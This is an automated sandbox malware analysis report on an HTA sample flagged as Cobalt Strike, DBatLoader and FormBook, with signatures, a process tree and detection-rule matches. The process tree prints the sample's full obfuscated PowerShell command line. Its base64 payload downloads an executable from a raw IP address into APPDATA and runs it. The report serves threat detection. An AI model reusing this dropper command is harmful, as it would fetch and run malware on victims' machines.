Windows
Analysis Report
truelifewithmanmadethingsonherefor.hta
Overview
General Information
Detection
Cobalt Strike, DBatLoader, FormBook
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DBatLoader
Yara detected FormBook
Yara detected Powershell decode and execute
Allocates many large memory junks
Allocates memory in foreign processes
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Creates a thread in another existing process (thread injection)
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Use Short Name Path in Command Line
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
mshta.exe (PID: 5504 cmdline:
mshta.exe "C:\Users\ user\Deskt op\truelif ewithmanma dethingson herefor.ht a" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 6388 cmdline:
"C:\Window s\system32 \cmd.exe" "/C poWERs HElL -ex BYPass -nop -W 1 -c DEVicecrE deNtiAldeP lOYMEnt.eX e ; IEX( $(IEx('[sY SteM.TEXT. EnCoDinG]' +[chAR]0X3 a+[chAr]0X 3A+'UTf8.G eTsTRInG([ SYSTEm.cON VErt]'+[ch AR]58+[ChA r]0X3a+'fr omBaSE64St rIng('+[Ch AR]0x22+'J DdWdCAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgID0 gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBhZGQtV HlQZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 tRU1iRXJkR WZpTkl0SW9 uICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgJ1tEb GxJbXBvcnQ oInVSbG1vT iIsICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgQ2h hclNldCA9I ENoYXJTZXQ uVW5pY29kZ SldcHVibGl jIHN0YXRpY yBleHRlcm4 gSW50UHRyI FVSTERvd25 sb2FkVG9Ga WxlKEludFB 0ciAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGV0S FUsc3RyaW5 nICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQUVoU 0FyY1hldkY sc3RyaW5nI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgaFYsdWl udCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIE1ve ixJbnRQdHI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBqTG1Ib GJtbGEpOyc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtTkFNZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICJvVU9 WcWltYSIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtTkFNZXN wQWNlICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgc WRaUlFiVWQ gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtUGFzc 1RocnU7ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gJDdWdDo6V VJMRG93bmx vYWRUb0Zpb GUoMCwiaHR 0cDovLzE5M i4zLjI2LjE 0My80NDAva GtjbWQuZXh lIiwiJEVOd jpBUFBEQVR BXGhrY21kL mV4ZSIsMCw wKTtTdEFSd C1TTEVlcCg zKTtJblZvS 2UtSVRlbSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICIkRU52O kFQUERBVEF caGtjbWQuZ XhlIg=='+[ ChAr]0X22+ '))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 6468 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 6600 cmdline:
poWERsHElL -ex BYP ass -nop -W 1 -c DEV icecrEdeNt iAldePlOYM Ent.eXe ; IEX($(IE x('[sYSteM .TEXT.EnCo DinG]'+[ch AR]0X3a+[c hAr]0X3A+' UTf8.GeTsT RInG([SYST Em.cONVErt ]'+[chAR]5 8+[ChAr]0X 3a+'fromBa SE64StrIng ('+[ChAR]0 x22+'JDdWd CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgID0gICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB hZGQtVHlQZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1tRU1 iRXJkRWZpT kl0SW9uICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gJ1tEbGxJb XBvcnQoInV SbG1vTiIsI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgQ2hhclN ldCA9IENoY XJTZXQuVW5 pY29kZSldc HVibGljIHN 0YXRpYyBle HRlcm4gSW5 0UHRyIFVST ERvd25sb2F kVG9GaWxlK EludFB0ciA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGV0SFUsc 3RyaW5nICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gQUVoU0FyY 1hldkYsc3R yaW5nICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAga FYsdWludCA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIE1veixJb nRQdHIgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB qTG1IbGJtb GEpOycgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tTkFNZSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CJvVU9WcWl tYSIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtT kFNZXNwQWN lICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgcWRaU lFiVWQgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tUGFzc1Roc nU7ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJDd WdDo6VVJMR G93bmxvYWR Ub0ZpbGUoM CwiaHR0cDo vLzE5Mi4zL jI2LjE0My8 0NDAvaGtjb WQuZXhlIiw iJEVOdjpBU FBEQVRBXGh rY21kLmV4Z SIsMCwwKTt TdEFSdC1TT EVlcCgzKTt JblZvS2UtS VRlbSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kRU52OkFQU ERBVEFcaGt jbWQuZXhlI g=='+[ChAr ]0X22+'))' )))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 6892 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\4jbortuo \4jbortuo. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 6888 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user~1 \AppData\L ocal\Temp\ RESDFBA.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\4jb ortuo\CSC8 F941E45248 44CFB0E06A 557A70D099 .TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) hkcmd.exe (PID: 6972 cmdline:
"C:\Users\ user\AppDa ta\Roaming \hkcmd.exe " MD5: 05EF4CA659965C1D3FAA58077B0F9943) cmd.exe (PID: 7008 cmdline:
C:\Windows \system32\ cmd.exe /c C:\\Progr amData\\19 25.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 7016 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 4940 cmdline:
C:\Windows \system32\ cmd.exe /c C:\\Progr amData\\34 695.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 2372 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) colorcpl.exe (PID: 7004 cmdline:
C:\Windows \System32\ colorcpl.e xe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D) jy7dhEfPtuBr.exe (PID: 6016 cmdline:
"C:\Progra m Files (x 86)\fsoqlJ UJeysbzyyJ yNbpZQdinP BGQcaCYpnu GmcdpgHJGJ zWshgLGkio yLDEDJiMiE SUirP\heei gF7lwUb.ex e" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A) systeminfo.exe (PID: 6940 cmdline:
"C:\Window s\SysWOW64 \systeminf o.exe" MD5: 36CCB1FFAFD651F64A22B5DA0A1EA5C5) firefox.exe (PID: 5236 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\Firefo x.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
svchost.exe (PID: 7000 cmdline:
C:\Windows \System32\ svchost.ex e -k netsv cs -p -s B ITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
DBatLoader | This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it. | No Attribution |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_DBatLoader | Yara detected DBatLoader | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Click to see the 4 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_DBatLoader | Yara detected DBatLoader | Joe Security | ||
JoeSecurity_DBatLoader | Yara detected DBatLoader | Joe Security | ||
JoeSecurity_DBatLoader | Yara detected DBatLoader | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: frack113, Nasreddine Bencherchali: |
Source: | Author: Michael Haag: |